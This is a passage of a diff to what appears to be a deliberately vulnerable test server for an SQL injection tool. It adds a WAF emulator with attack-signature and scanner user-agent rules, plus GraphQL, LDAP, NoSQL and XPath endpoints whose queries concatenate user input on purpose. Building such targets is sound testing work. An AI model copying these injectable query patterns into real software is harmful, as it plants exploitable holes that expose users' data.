<realname>Fluffy Bunny</realname>
|
||||
<email>[email protected]</email>
|
||||
<password>4db967ce67b15e7fb84c266a76684729</password>
|
||||
<role>Security Engineer</role>
|
||||
<location>Amsterdam</location>
|
||||
<phone>+1 555 0102</phone>
|
||||
</user>
|
||||
<user id="3">
|
||||
<username>wu</username>
|
||||
<realname>Wu Ming</realname>
|
||||
<email>[email protected]</email>
|
||||
<password>f5a2950eaa10f9e99896800eacbe8275</password>
|
||||
<role>Network Administrator</role>
|
||||
<location>Shanghai</location>
|
||||
<phone>+86 21 555 0103</phone>
|
||||
</user>
|
||||
</department>
|
||||
<department name="Engineering">
|
||||
<user id="4">
|
||||
<username>linus</username>
|
||||
<realname>Linus Torvalds</realname>
|
||||
<email>[email protected]</email>
|
||||
<password>8e7b6a5c4d321908f7e6d5c4b3a2910f</password>
|
||||
<role>Kernel Developer</role>
|
||||
<location>Portland</location>
|
||||
<phone>+1 555 0200</phone>
|
||||
</user>
|
||||
<user id="5">
|
||||
<username>ada</username>
|
||||
<realname>Ada Lovelace</realname>
|
||||
<email>[email protected]</email>
|
||||
<password>1a2b3c4d5e6f7081920a1b2c3d4e5f60</password>
|
||||
<role>Algorithm Designer</role>
|
||||
<location>London</location>
|
||||
<phone>+44 20 555 0201</phone>
|
||||
</user>
|
||||
</department>
|
||||
<department name="Management">
|
||||
<user id="6">
|
||||
<username>grace</username>
|
||||
<realname>Grace Hopper</realname>
|
||||
<email>[email protected]</email>
|
||||
<password>9e8d7c6b5a493827160e9d8c7b6a5948</password>
|
||||
<role>CTO</role>
|
||||
<location>New York</location>
|
||||
<phone>+1 555 0300</phone>
|
||||
</user>
|
||||
</department>
|
||||
</directory>"""
|
||||
|
||||
def _xpath_element_to_dict(el):
|
||||
"""Convert an lxml element to a dict for JSON serialization."""
|
||||
retVal = dict(el.attrib)
|
||||
retVal["tag"] = el.tag
|
||||
retVal["text"] = (el.text or "").strip()
|
||||
children = []
|
||||
for child in el:
|
||||
children.append(_xpath_element_to_dict(child))
|
||||
if children:
|
||||
retVal["children"] = children
|
||||
return retVal
|
||||
|
||||
_conn = None
|
||||
_cursor = None
|
||||
_lock = None
|
||||
@@ -157,6 +333,474 @@ class ThreadingServer(ThreadingMixIn, HTTPServer):
|
||||
if DEBUG:
|
||||
traceback.print_exc()
|
||||
|
||||
# Primitive (CRS-style) WAF/IPS emulator used to exercise the automatic WAF/IPS bypass. The request
|
||||
# surface is normalized like a real WAF (lowercase, comments->space, whitespace compressed) BEFORE
|
||||
# a cumulative anomaly score is summed; when the score reaches the per-level threshold the request
|
||||
# is blocked (403 + marker). The rules are shaped so that camouflage tampers (case/whitespace/
|
||||
# comments) are normalized away and a *structural* substitution (e.g. 'between'/'equaltolike',
|
||||
# which removes the scored '=' operator) is the genuine bypass - matching real-world behavior.
|
||||
#
|
||||
# The emulator also models the OTHER real-world dimension: a scanner-fingerprint rule (mirroring
|
||||
# CRS 913100) adds a constant score for a recognizable scanner User-Agent that *stacks* with the
|
||||
# payload score. Its weight is below every threshold, so the scanner UA alone never blocks (benign
|
||||
# browsing passes), but it tips an otherwise-permitted payload over the threshold - so neutralizing
|
||||
# the request fingerprint (a non-scanner User-Agent) is itself a genuine bypass, with no SQL tamper.
|
||||
WAF_NUMERIC_COMPARISON = r"\d+\s*=\s*\d+" # numeric self-comparison (boolean payloads); the structural lever 'between'/'equaltolike' removes it
|
||||
WAF_RULES = (
|
||||
(r"\bunion\b.{0,40}\bselect\b", 6),
|
||||
(r"\binformation_schema\b", 5),
|
||||
(r"\b(sleep|benchmark|extractvalue|updatexml|xp_cmdshell|waitfor)\b", 5),
|
||||
(r"\b(select|insert|update|delete|drop)\b", 3),
|
||||
(WAF_NUMERIC_COMPARISON, 4),
|
||||
(r"<script", 6),
|
||||
)
|
||||
WAF_THRESHOLD = {1: 6, 2: 4, 3: 2, 4: 8, 5: 5} # security_level -> cumulative score that triggers a block
|
||||
WAF_SCANNER_UA = r"(?i)\b(?:sqlmap|nikto|nessus|acunetix|nmap|masscan|w3af|havij|wpscan|dirbuster|arachni)\b"
|
||||
WAF_SCANNER_UA_WEIGHT = 3 # CRS 913100-style: constant score for a scanner User-Agent, stacked with the payload score
|
||||
|
||||
# Levels 4-5 model a libinjection-class WAF (e.g. OWASP CRS rule 942100): ANY boolean-comparison
|
||||
# fingerprint scores a flat amount REGARDLESS of operator, so '=','LIKE','BETWEEN','IN' are all
|
||||
# caught equally - structural tampers (between/equaltolike) do NOT help. There, neutralizing the
|
||||
# scanner fingerprint is the only payload-preserving bypass (level 4); when even that is not enough
|
||||
# the search must bail honestly (level 5). This mirrors the hardest real-world case.
|
||||
WAF_LIBINJECTION_LEVELS = (4, 5)
|
||||
WAF_LIBINJECTION_WEIGHT = 5
|
||||
WAF_LIBINJECTION = r"(?i)\b(?:and|or)\b.{0,40}(?:=|>|<|\blike\b|\bbetween\b|\bin\b|\brlike\b|\bregexp\b)"
|
||||
|
||||
def waf_score(value, ua=None, level=0):
|
||||
value = (value or "").lower()
|
||||
value = re.sub(r"/\*.*?\*/", " ", value) # t:replaceComments (note: -> single space, not empty)
|
||||
value = re.sub(r"(?:--|#)[^\n]*", " ", value) # t:removeComments (line comments)
|
||||
value = re.sub(r"\s+", " ", value) # t:compressWhitespace
|
||||
libinjection = level in WAF_LIBINJECTION_LEVELS
|
||||
retVal = sum(weight for (pattern, weight) in WAF_RULES if not (libinjection and pattern == WAF_NUMERIC_COMPARISON) and re.search(pattern, value))
|
||||
if libinjection and re.search(WAF_LIBINJECTION, value): # operator-agnostic comparison score (tampers cannot remove it)
|
||||
retVal += WAF_LIBINJECTION_WEIGHT
|
||||
if ua and re.search(WAF_SCANNER_UA, ua): # scanner-fingerprint score, stacked with the payload score
|
||||
retVal += WAF_SCANNER_UA_WEIGHT
|
||||
return retVal
|
||||
|
||||
# --- LDAP endpoint (vulnerable search and login, backed by the directory table) ------------------
|
||||
|
||||
def _ldap_escape_like(value):
|
||||
"""Escape a value for safe embedding in a SQLite LIKE pattern: backslash, percent,
|
||||
and underscore are the only characters with special meaning in LIKE."""
|
||||
if value is None:
|
||||
return None
|
||||
return value.replace('\\', '\\\\').replace('%', '\\%').replace('_', '\\_')
|
||||
|
||||
def _ldap_attr(attr):
|
||||
"""Map an LDAP attribute name to the directory table column, or None if unknown."""
|
||||
valid = {"dn", "uid", "cn", "sn", "givenName", "displayName", "userPassword", "mail", "objectClass", "objectCategory", "ou", "title", "department", "company", "o", "telephoneNumber", "mobile", "manager", "description", "l", "st", "street", "postalCode", "c", "employeeNumber", "employeeType", "member"}
|
||||
return attr if attr in valid else None
|
||||
|
||||
def _ldap_match(text, start):
|
||||
"""Find the closing ')' that balances the opening '(' at `start`. Skip escaped
|
||||
hex sequences (e.g. \\28 for literal '(' inside a value) but treat every raw ')'
|
||||
as a structural closer."""
|
||||
depth = 0
|
||||
i = start
|
||||
while i < len(text):
|
||||
ch = text[i]
|
||||
if ch == '(':
|
||||
depth += 1
|
||||
elif ch == ')':
|
||||
depth -= 1
|
||||
if depth == 0:
|
||||
return i + 1
|
||||
elif ch == '\\':
|
||||
i += 1
|
||||
i += 1
|
||||
return len(text)
|
||||
|
||||
def _ldap_parse_value(text, start):
|
||||
"""Parse an assertion value from filter text at position `start`, handling escape sequences.
|
||||
Returns (value, end_pos)."""
|
||||
retVal = []
|
||||
i = start
|
||||
while i < len(text) and text[i] not in (')',):
|
||||
if text[i] == '\\' and i + 2 < len(text):
|
||||
retVal.append(chr(int(text[i+1:i+3], 16)))
|
||||
i += 3
|
||||
else:
|
||||
retVal.append(text[i])
|
||||
i += 1
|
||||
return ''.join(retVal), i
|
||||
|
||||
def _ldap_filter_to_sql(text, start=0):
|
||||
"""Convert an LDAP filter substring starting at `start` to a parameterized
|
||||
SQLite WHERE clause. Returns (sql_template, params, end_pos) or (None, [], end_pos)
|
||||
on parse failure. Values are passed as parameters so that user-controlled
|
||||
characters (apostrophe, backslash, etc.) cannot break the SQL string literal."""
|
||||
|
||||
if start >= len(text) or text[start] != '(':
|
||||
return None, [], start
|
||||
|
||||
i = start + 1
|
||||
if i >= len(text):
|
||||
return None, [], start
|
||||
|
||||
op = text[i]
|
||||
i += 1
|
||||
|
||||
if op in ('&', '|'):
|
||||
# Compound filter: collect all sub-filters
|
||||
sub_clauses = []
|
||||
sub_params = []
|
||||
while i < len(text) and text[i] == '(':
|
||||
clause, params, i = _ldap_filter_to_sql(text, i)
|
||||
if clause:
|
||||
sub_clauses.append(clause)
|
||||
sub_params.extend(params)
|
||||
# Always use bracket-matched end so nested compounds don't shift the
|
||||
# parent's notion of where this child ends (reviewer blocker 3)
|
||||
end = _ldap_match(text, start)
|
||||
if not sub_clauses:
|
||||
return None, [], end
|
||||
if len(sub_clauses) == 1:
|
||||
return sub_clauses[0], sub_params, end
|
||||
joiner = " AND " if op == '&' else " OR "
|
||||
return "(%s)" % joiner.join(sub_clauses), sub_params, end
|
||||
|
||||
elif op == '!':
|
||||
# NOT filter
|
||||
clause, params, i = _ldap_filter_to_sql(text, i)
|
||||
end = _ldap_match(text, start)
|
||||
if clause:
|
||||
return "(NOT (%s))" % clause, params, end
|
||||
return None, [], end
|
||||
|
||||
else:
|
||||
# Simple filter: attr OP value
|
||||
# Re-read from start+1 to get the full attr name
|
||||
j = start + 1
|
||||
while j < len(text) and text[j] not in ('=', '>', '<', '~', ')'):
|
||||
j += 1
|
||||
attr = text[start+1:j].strip()
|
||||
if not attr:
|
||||
return None, [], _ldap_match(text, start)
|
||||
|
||||
col = _ldap_attr(attr)
|
||||
if col is None:
|
||||
return None, [], _ldap_match(text, start)
|
||||
|
||||
if j >= len(text):
|
||||
return None, [], start
|
||||
|
||||
# Check for approx match (~=)
|
||||
if text[j] == '~' and j + 1 < len(text) and text[j+1] == '=':
|
||||
op_type = '~='
|
||||
j += 2
|
||||
elif text[j] == '>' and j + 1 < len(text) and text[j+1] == '=':
|
||||
op_type = '>='
|
||||
j += 2
|
||||
elif text[j] == '<' and j + 1 < len(text) and text[j+1] == '=':
|
||||
op_type = '<='
|
||||
j += 2
|
||||
elif text[j] == '=':
|
||||
op_type = '='
|
||||
j += 1
|
||||
else:
|
||||
return None, [], _ldap_match(text, start)
|
||||
|
||||
value, _ = _ldap_parse_value(text, j)
|
||||
end = _ldap_match(text, start)
|
||||
|
||||
if op_type == '=':
|
||||
if value == '*':
|
||||
return "(%s IS NOT NULL AND %s != '')" % (col, col), [], end
|
||||
elif '*' in value:
|
||||
parts = value.split('*')
|
||||
if len(parts) == 2 and not parts[0] and not parts[1]:
|
||||
# Just '*' -> presence
|
||||
return "(%s IS NOT NULL AND %s != '')" % (col, col), [], end
|
||||
elif len(parts) == 2 and parts[0] and not parts[1]:
|
||||
# 'prefix*' -> anchored prefix match (LDAP semantics)
|
||||
return "(%s LIKE ? ESCAPE '\\')" % col, ["%s%%" % _ldap_escape_like(parts[0])], end
|
||||
elif len(parts) == 2 and not parts[0] and parts[1]:
|
||||
# '*suffix' -> anchored suffix match (LDAP semantics)
|
||||
return "(%s LIKE ? ESCAPE '\\')" % col, ["%%%s" % _ldap_escape_like(parts[1])], end
|
||||
else:
|
||||
# '*mid*', 'pre*mid*suf', etc. -- split('*') already
|
||||
# partitions the value into literal segments; joining
|
||||
# them with '%' naturally produces the correct anchored
|
||||
# LIKE pattern: empty first/last elements from surrounding
|
||||
# wildcards become leading/trailing '%' automatically.
|
||||
pattern = '%'.join(_ldap_escape_like(p) for p in parts)
|
||||
return "(%s LIKE ? ESCAPE '\\')" % col, [pattern], end
|
||||
else:
|
||||
return "(%s = ?)" % col, [value], end
|
||||
elif op_type == '>=':
|
||||
return "(%s >= ?)" % col, [value], end
|
||||
elif op_type == '<=':
|
||||
return "(%s <= ?)" % col, [value], end
|
||||
elif op_type == '~=':
|
||||
return "(%s = ?)" % col, [value], end
|
||||
|
||||
return None, [], end
|
||||
|
||||
|
||||
def _ldap_execute(filter_str):
|
||||
"""Execute an LDAP filter against the directory table. Returns (rows, error_msg)."""
|
||||
if not filter_str or not filter_str.strip():
|
||||
return None, "Bad search filter"
|
||||
|
||||
# Simple bracket validation
|
||||
if filter_str.count('(') != filter_str.count(')'):
|
||||
return None, "Bad search filter (-7)"
|
||||
|
||||
try:
|
||||
clause, params, _ = _ldap_filter_to_sql(filter_str)
|
||||
if not clause:
|
||||
return None, "Bad search filter (-7)"
|
||||
|
||||
sql = "SELECT * FROM directory WHERE %s" % clause
|
||||
with _lock:
|
||||
_cursor.execute(sql, params)
|
||||
rows = _cursor.fetchall()
|
||||
return rows, None
|
||||
except Exception as ex:
|
||||
msg = str(ex)
|
||||
# Emulate different back-end error messages
|
||||
if "no such column" in msg.lower():
|
||||
return None, "Bad search filter"
|
||||
if "unrecognized" in msg.lower() or "syntax" in msg.lower():
|
||||
return None, "Bad search filter (-7)"
|
||||
return None, "Bad search filter (%s)" % msg.split(':')[0]
|
||||
|
||||
def _ldap_row_to_obj(row):
|
||||
"""Convert a SQLite row to a dict with non-None attributes."""
|
||||
if not row:
|
||||
return None
|
||||
keys = ("dn", "uid", "cn", "sn", "givenName", "displayName", "userPassword", "mail", "objectClass", "objectCategory", "ou", "title", "department", "company", "o", "telephoneNumber", "mobile", "manager", "description", "l", "st", "street", "postalCode", "c", "employeeNumber", "employeeType", "member")
|
||||
return dict((k, row[i]) for i, k in enumerate(keys) if row[i] is not None)
|
||||
|
||||
# --- GraphQL endpoint (vulnerable Apollo-style, backed by the same SQLite database) ----------
|
||||
|
||||
# Hard-coded introspection response matching the schema below. Every GraphQL tool (including
|
||||
# sqlmap's --graphql engine) uses this to discover fields, arguments, and types.
|
||||
def _graphql_introspection():
|
||||
return {
|
||||
"data": {
|
||||
"__schema": {
|
||||
"queryType": {"name": "Query"},
|
||||
"mutationType": {"name": "Mutation"},
|
||||
"subscriptionType": None,
|
||||
"directives": [],
|
||||
"types": [
|
||||
{"kind": "OBJECT", "name": "Query", "fields": [
|
||||
{"name": "user", "args": [
|
||||
{"name": "username", "defaultValue": None, "type": {"kind": "NON_NULL", "name": None, "ofType": {"kind": "SCALAR", "name": "String", "ofType": None}}}
|
||||
], "type": {"kind": "OBJECT", "name": "User", "ofType": None}},
|
||||
{"name": "search", "args": [
|
||||
{"name": "term", "defaultValue": None, "type": {"kind": "SCALAR", "name": "String", "ofType": None}}
|
||||
], "type": {"kind": "LIST", "name": None, "ofType": {"kind": "OBJECT", "name": "User", "ofType": None}}},
|
||||
{"name": "login", "args": [
|
||||
{"name": "username", "defaultValue": None, "type": {"kind": "NON_NULL", "name": None, "ofType": {"kind": "SCALAR", "name": "String", "ofType": None}}},
|
||||
{"name": "password", "defaultValue": None, "type": {"kind": "NON_NULL", "name": None, "ofType": {"kind": "SCALAR", "name": "String", "ofType": None}}}
|
||||
], "type": {"kind": "OBJECT", "name": "AuthPayload", "ofType": None}},
|
||||
], "inputFields": None, "enumValues": None},
|
||||
{"kind": "OBJECT", "name": "Mutation", "fields": [
|
||||
{"name": "updateUser", "args": [
|
||||
{"name": "id", "defaultValue": None, "type": {"kind": "NON_NULL", "name": None, "ofType": {"kind": "SCALAR", "name": "Int", "ofType": None}}},
|
||||
{"name": "email", "defaultValue": None, "type": {"kind": "NON_NULL", "name": None, "ofType": {"kind": "SCALAR", "name": "String", "ofType": None}}}
|
||||
], "type": {"kind": "OBJECT", "name": "User", "ofType": None}},
|
||||
], "inputFields": None, "enumValues": None},
|
||||
{"kind": "INPUT_OBJECT", "name": "UpdateUserInput", "inputFields": [
|
||||
{"name": "id", "defaultValue": None, "type": {"kind": "NON_NULL", "name": None, "ofType": {"kind": "SCALAR", "name": "Int", "ofType": None}}},
|
||||
{"name": "email", "defaultValue": None, "type": {"kind": "NON_NULL", "name": None, "ofType": {"kind": "SCALAR", "name": "String", "ofType": None}}}
|
||||
]},
|
||||
{"kind": "SCALAR", "name": "Int"},
|
||||
{"kind": "SCALAR", "name": "String"},
|
||||
{"kind": "SCALAR", "name": "Boolean"},
|
||||
{"kind": "SCALAR", "name": "Float"},
|
||||
{"kind": "SCALAR", "name": "ID"},
|
||||
{"kind": "OBJECT", "name": "User", "fields": [
|
||||
{"name": "id", "args": [], "type": {"kind": "SCALAR", "name": "Int", "ofType": None}},
|
||||
{"name": "name", "args": [], "type": {"kind": "SCALAR", "name": "String", "ofType": None}},
|
||||
{"name": "surname", "args": [], "type": {"kind": "SCALAR", "name": "String", "ofType": None}},
|
||||
], "inputFields": None, "enumValues": None},
|
||||
{"kind": "OBJECT", "name": "AuthPayload", "fields": [
|
||||
{"name": "token", "args": [], "type": {"kind": "SCALAR", "name": "String", "ofType": None}},
|
||||
{"name": "user", "args": [], "type": {"kind": "OBJECT", "name": "User", "ofType": None}},
|
||||
], "inputFields": None, "enumValues": None},
|
||||
]
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
def _graphql_arg(raw):
|
||||
"""Parse a single GraphQL argument value: strip quotes from strings, keep numbers as-is"""
|
||||
raw = raw.strip()
|
||||
if raw.startswith('"') and raw.endswith('"'):
|
||||
return raw[1:-1].replace('\\"', '"')
|
||||
return raw
|
||||
|
||||
|
||||
def _graphql_match(text, start):
|
||||
"""Index just past the bracket matching the one at text[start] ('(' or '{'), skipping over
|
||||
double-quoted strings so brackets inside argument literals (e.g. an injected SQL payload) and
|
||||
nested selection sets do not throw off the balance."""
|
||||
|
||||
pairs = {'(': ')', '{': '}'}
|
||||
opener, closer = text[start], pairs[text[start]]
|
||||
depth, i, n = 0, start, len(text)
|
||||
while i < n:
|
||||
char = text[i]
|
||||
if char == '"':
|
||||
i += 1
|
||||
while i < n and text[i] != '"':
|
||||
i += 2 if text[i] == '\\' else 1
|
||||
elif char == opener:
|
||||
depth += 1
|
||||
elif char == closer:
|
||||
depth -= 1
|
||||
if depth == 0:
|
||||
return i + 1
|
||||
i += 1
|
||||
return n
|
||||
|
||||
|
||||
def _graphql_selections(body):
|
||||
"""Split a selection set into its top-level (alias, field, rawArgs) fields, tolerating aliasing,
|
||||
argument literals carrying brackets/quotes, and nested selection sets (which are skipped over)."""
|
||||
|
||||
identifier = re.compile(r'[A-Za-z_]\w*')
|
||||
selections, i, n = [], 0, len(body)
|
||||
while i < n:
|
||||
while i < n and body[i] in ' \t\r\n,':
|
||||
i += 1
|
||||
match = identifier.match(body, i)
|
||||
if not match:
|
||||
i += 1
|
||||
continue
|
||||
name, i = match.group(0), match.end()
|
||||
|
||||
j = i
|
||||
while j < n and body[j] in ' \t\r\n':
|
||||
j += 1
|
||||
if j < n and body[j] == ':': # 'name' was an alias; the real field follows
|
||||
j += 1
|
||||
while j < n and body[j] in ' \t\r\n':
|
||||
j += 1
|
||||
match = identifier.match(body, j)
|
||||
if not match:
|
||||
continue
|
||||
alias, field, i = name, match.group(0), match.end()
|
||||
else:
|
||||
alias, field = None, name
|
||||
|
||||
while i < n and body[i] in ' \t\r\n':
|
||||
i += 1
|
||||
rawArgs = ""
|
||||
if i < n and body[i] == '(':
|
||||
end = _graphql_match(body, i)
|
||||
rawArgs, i = body[i + 1:end - 1], end
|
||||
|
||||
while i < n and body[i] in ' \t\r\n':
|
||||
i += 1
|
||||
if i < n and body[i] == '{': # skip this field's (possibly nested) selection set
|
||||
i = _graphql_match(body, i)
|
||||
|
||||
selections.append((alias, field, rawArgs))
|
||||
return selections
|
||||
|
||||
|
||||
def _graphql_resolve(query, variables):
|
||||
"""Minimal GraphQL resolver: parse the query, call the matching resolver for each top-level field,
|
||||
and return (data_dict_or_None, errors_list). Multiple aliased fields are supported in one request
|
||||
(alias:field(args){...} ...), so a client can batch independent probes into a single round-trip."""
|
||||
|
||||
variables = variables or {}
|
||||
errors = []
|
||||
data = {}
|
||||
|
||||
op = "query"
|
||||
for keyword in ("mutation", "subscription"):
|
||||
if query.strip().startswith(keyword):
|
||||
op = keyword
|
||||
break
|
||||
|
||||
start = query.find('{')
|
||||
if start == -1:
|
||||
errors.append({"message": "Cannot parse query", "extensions": {"code": "GRAPHQL_PARSE_FAILED"}})
|
||||
return None, errors
|
||||
|
||||
for alias, field, rawArgs in _graphql_selections(query[start + 1:_graphql_match(query, start) - 1]):
|
||||
key = alias or field
|
||||
|
||||
# Parse arguments
|
||||
args = {}
|
||||
for am in re.finditer(r'(\w+)\s*:\s*("(?:[^"\\]|\\.)*"|\$?\w+(?:\.\w+)?)', rawArgs):
|
||||
name, val = am.group(1), am.group(2)
|
||||
if val.startswith('$'):
|
||||
args[name] = variables.get(val[1:], None)
|
||||
else:
|
||||
args[name] = _graphql_arg(val)
|
||||
|
||||
try:
|
||||
if field in ("__typename", "__schema"):
|
||||
data[key] = op.title()
|
||||
elif field == "user":
|
||||
data[key] = _resolver_user(args.get("username"))
|
||||
elif field == "search":
|
||||
data[key] = _resolver_search(args.get("term"))
|
||||
elif field == "login":
|
||||
data[key] = _resolver_login(args.get("username"), args.get("password"))
|
||||
elif field == "updateUser":
|
||||
data[key] = _resolver_updateUser(args.get("id"), args.get("email"))
|
||||
else:
|
||||
errors.append({"message": "Cannot query field '%s' on type '%s'. Did you mean 'user', 'search', 'login', or 'updateUser'?" % (field, op.title()),
|
||||
"extensions": {"code": "GRAPHQL_VALIDATION_FAILED"}})
|
||||
except Exception as ex:
|
||||
# Leak the backend error through the GraphQL error envelope (as many real servers do
|
||||
# in development mode) -- this drives error-based detection
|
||||
errors.append({"message": "%s: %s" % (re.search(r"'([^']+)'", str(type(ex))).group(1), ex),
|
||||
"path": [key], "extensions": {"exception": str(ex)}})
|
||||
|
||||
if not data and not errors:
|
||||
return None, errors
|
||||
return data, errors
|
||||
|
||||
|
||||
# --- Vulnerable resolvers (direct string concatenation into SQLite) ------------------------
|
||||
|
||||
def _resolver_user(username):
|
||||
if not username:
|
||||
return None
|
||||
with _lock:
|
||||
_cursor.execute("SELECT id, name, surname FROM users WHERE name='%s'" % username)
|
||||
row = _cursor.fetchone()
|
||||
return {"id": row[0], "name": row[1], "surname": row[2]} if row else None
|
||||
|
||||
|
||||
def _resolver_search(term):
|
||||
with _lock:
|
||||
_cursor.execute("SELECT id, name, surname FROM users WHERE name LIKE '%%%s%%'" % (term or ""))
|
||||
rows = _cursor.fetchall()
|
||||
return [{"id": r[0], "name": r[1], "surname": r[2]} for r in (rows or [])]
|
||||
|
||||
|
||||
def _resolver_login(username, password):
|
||||
if not username or not password:
|
||||
return None
|
||||
with _lock:
|
||||
_cursor.execute("SELECT u.id, u.name, u.surname FROM users u JOIN creds c ON u.id=c.user_id WHERE u.name='%s' AND c.password_hash='%s'" % (username, password))
|
||||
row = _cursor.fetchone()
|
||||
if row:
|
||||
return {"token": "tok_%d_%s" % (row[0], row[1]), "user": {"id": row[0], "name": row[1], "surname": row[2]}}
|
||||
return None # returns null in data (boolean oracle: true=object, false=null)
|
||||
|
||||
|
||||
def _resolver_updateUser(id_, email):
|
||||
with _lock:
|
||||
_cursor.execute("UPDATE users SET surname='%s' WHERE id=%s" % (email, id_))
|
||||
_cursor.execute("SELECT id, name, surname FROM users WHERE id=%s" % id_)
|
||||
row = _cursor.fetchone()
|
||||
return {"id": row[0], "name": row[1], "surname": row[2]} if row else None
|
||||
|
||||
|
||||
class ReqHandler(BaseHTTPRequestHandler):
|
||||
def do_REQUEST(self):
|
||||
path, query = self.path.split('?', 1) if '?' in self.path else (self.path, "")
|
||||
@@ -198,6 +842,22 @@ class ReqHandler(BaseHTTPRequestHandler):
|
||||
|
||||
self.url, self.params = path, params
|
||||
|
||||
# primitive WAF/IPS emulator (opt-in via 'security_level' param; 0/absent = off)
|
||||
try:
|
||||
level = int(self.params.get("security_level", 0) or 0)
|
||||
except (TypeError, ValueError):
|
||||
level = 0
|
||||
|
||||
if level > 0:
|
||||
surface = "%s %s" % (unquote_plus(query), getattr(self, "data", "") or "")
|
||||
if waf_score(surface, ua=self.params.get("user-agent"), level=level) >= WAF_THRESHOLD.get(level, 2):
|
||||
self.send_response(FORBIDDEN)
|
||||
self.send_header("Content-type", "text/html; charset=%s" % UNICODE_ENCODING)
|
||||
self.send_header("Connection", "close")
|
||||
self.end_headers()
|
||||
self.wfile.write(b"<html><body>Request blocked: security policy violation (WAF)</body></html>")
|
||||
return
|
||||
|
||||
if self.url == "/csrf":
|
||||
if self.params.get("csrf_token") == _csrf_token:
|
||||
self.url = "/"
|
||||
@@ -220,6 +880,222 @@ class ReqHandler(BaseHTTPRequestHandler):
|
||||
self.wfile.write(form.encode(UNICODE_ENCODING))
|
||||
return
|
||||
|
||||
if self.url == "/nosql":
|
||||
self.send_response(OK)
|
||||
self.send_header("Content-type", "text/html; charset=%s" % UNICODE_ENCODING)
|
||||
self.send_header("Connection", "close")
|
||||
self.end_headers()
|
||||
|
||||
try:
|
||||
output = "<html><body><b>Welcome %s</b></body></html>" % self.params.get("name") if nosql_match(self.params) else "<html><body><b>Invalid credentials</b></body></html>"
|
||||
except re.error: # invalid $regex -> emulate a MongoDB driver error (drives fingerprinting)
|
||||
output = "<html><body>MongoServerError: Regular expression is invalid: missing terminating ] for character class</body></html>"
|
||||
|
||||
self.wfile.write(output.encode(UNICODE_ENCODING))
|
||||
return
|
||||
|
||||
if self.url == "/graphql":
|
||||
self.send_response(OK)
|
||||
self.send_header("Content-type", "application/json; charset=%s" % UNICODE_ENCODING)
|
||||
self.send_header("Connection", "close")
|
||||
self.end_headers()
|
||||
|
||||
query = self.params.get("query", "")
|
||||
variables = self.params.get("variables") or {}
|
||||
|
||||
if not isinstance(variables, dict):
|
||||
try:
|
||||
variables = json.loads(str(variables))
|
||||
except Exception:
|
||||
variables = {}
|
||||
|
||||
if "__schema" in query:
|
||||
output = json.dumps(_graphql_introspection())
|
||||
else:
|
||||
data, errors = _graphql_resolve(query, variables)
|
||||
resp = {}
|
||||
if errors:
|
||||
resp["errors"] = errors
|
||||
if data:
|
||||
resp["data"] = data
|
||||
output = json.dumps(resp, default=str)
|
||||
|
||||
self.wfile.write(output.encode(UNICODE_ENCODING))
|
||||
return
|
||||
|
||||
if self.url in ("/ldap", "/ldap/search"):
|
||||
self.send_response(OK)
|
||||
self.send_header("Content-type", "application/json; charset=%s" % UNICODE_ENCODING)
|
||||
self.send_header("Connection", "close")
|
||||
self.end_headers()
|
||||
|
||||
q = self.params.get("q", "")
|
||||
if q:
|
||||
filter_str = "(|(cn=*%s*)(sn=*%s*)(mail=*%s*)(uid=*%s*)(description=*%s*))" % (q, q, q, q, q)
|
||||
rows, error = _ldap_execute(filter_str)
|
||||
if error:
|
||||
output = json.dumps({"resultCode": 1, "errorMessage": error})
|
||||
else:
|
||||
entries = [_ldap_row_to_obj(r) for r in (rows or [])]
|
||||
output = json.dumps({"resultCode": 0, "entries": entries, "count": len(entries)}, default=str)
|
||||
else:
|
||||
output = json.dumps({"resultCode": 0, "entries": [], "count": 0})
|
||||
|
||||
self.wfile.write(output.encode(UNICODE_ENCODING))
|
||||
return
|
||||
|
||||
if self.url == "/ldap/login":
|
||||
self.send_response(OK)
|
||||
self.send_header("Content-type", "application/json; charset=%s" % UNICODE_ENCODING)
|
||||
self.send_header("Connection", "close")
|
||||
self.end_headers()
|
||||
|
||||
user = self.params.get("user", "")
|
||||
password = self.params.get("pass", "")
|
||||
if user and password:
|
||||
filter_str = "(&(uid=%s)(userPassword=%s))" % (user, password)
|
||||
rows, error = _ldap_execute(filter_str)
|
||||
if error:
|
||||
output = json.dumps({"resultCode": 49, "errorMessage": error})
|
||||
elif rows:
|
||||
entry = _ldap_row_to_obj(rows[0])
|
||||
output = json.dumps({"resultCode": 0, "authenticated": True, "user": entry}, default=str)
|
||||
else:
|
||||
output = json.dumps({"resultCode": 49, "authenticated": False, "errorMessage": "Invalid credentials"})
|
||||
else:
|
||||
output = json.dumps({"resultCode": 49, "authenticated": False, "errorMessage": "Missing credentials"})
|
||||
|
||||
self.wfile.write(output.encode(UNICODE_ENCODING))
|
||||
return
|
||||
|
||||
if self.url == "/xpath/search":
|
||||
self.send_response(OK)
|
||||
self.send_header("Content-type", "application/json; charset=%s" % UNICODE_ENCODING)
|
||||
self.send_header("Connection", "close")
|
||||
self.end_headers()
|
||||
|
||||
q = self.params.get("q", "")
|
||||
entries = []
|
||||
error = None
|
||||
|
||||
if q:
|
||||
try:
|
||||
from lxml import etree
|
||||
root = etree.fromstring(XPATH_XML.encode("utf-8"))
|
||||
# VULNERABLE: unsanitized user input directly interpolated into XPath
|
||||
xpath_expr = "/directory/department/user[contains(username,'%s') or contains(realname,'%s')]" % (q, q)
|
||||
elements = root.xpath(xpath_expr)
|
||||
entries = [_xpath_element_to_dict(el) for el in elements]
|
||||
except Exception as ex:
|
||||
error = "%s: %s" % (type(ex).__name__, str(ex))
|
||||
|
||||
output = json.dumps({"entries": entries, "count": len(entries), "error": error}, default=str)
|
||||
self.wfile.write(output.encode(UNICODE_ENCODING))
|
||||
return
|
||||
|
||||
if self.url == "/xpath/login":
|
||||
self.send_response(OK)
|
||||
self.send_header("Content-type", "application/json; charset=%s" % UNICODE_ENCODING)
|
||||
self.send_header("Connection", "close")
|
||||
self.end_headers()
|
||||
|
||||
username = self.params.get("username", "")
|
||||
password = self.params.get("password", "")
|
||||
error = None
|
||||
authenticated = False
|
||||
|
||||
if username and password:
|
||||
try:
|
||||
from lxml import etree
|
||||
root = etree.fromstring(XPATH_XML.encode("utf-8"))
|
||||
# VULNERABLE: unsanitized interpolation into XPath login expression
|
||||
xpath_expr = "/directory/department/user[username='%s' and password='%s']" % (username, password)
|
||||
results = root.xpath(xpath_expr)
|
||||
if results:
|
||||
authenticated = True
|
||||
except Exception as ex:
|
||||
error = "%s: %s" % (type(ex).__name__, str(ex))
|
||||
|
||||
output = json.dumps({"authenticated": authenticated, "error": error}, default=str)
|
||||
